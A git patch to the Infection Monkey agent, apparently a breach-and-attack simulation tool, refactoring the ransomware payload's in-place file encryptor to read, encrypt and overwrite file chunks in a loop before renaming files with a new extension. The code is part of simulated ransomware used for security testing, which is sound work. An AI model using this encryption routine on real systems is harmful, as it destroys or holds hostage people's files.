From 62efeffe90ba6d8882acb16ff0308231a07c2987 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 23 Jan 2022 19:31:47 -0500 Subject: [PATCH] Agent: Use iter() to improve InPlaceFileEncryptor._encrypt_file() --- .../payload/ransomware/in_place_file_encryptor.py | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py b/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py index f4bcaf3aa..fc5523352 100644 --- a/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py +++ b/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py @@ -28,17 +28,12 @@ class InPlaceFileEncryptor: def _encrypt_file(self, filepath: Path): with open(filepath, "rb+") as f: - data = f.read(self._chunk_size) - while data: - num_bytes_read = len(data) - + for data in iter(lambda: f.read(self._chunk_size), b""): encrypted_data = self._encrypt_bytes(data) - f.seek(-num_bytes_read, 1) + f.seek(-len(encrypted_data), 1) f.write(encrypted_data) - data = f.read(self._chunk_size) - def _add_extension(self, filepath: Path): new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") filepath.rename(new_filepath)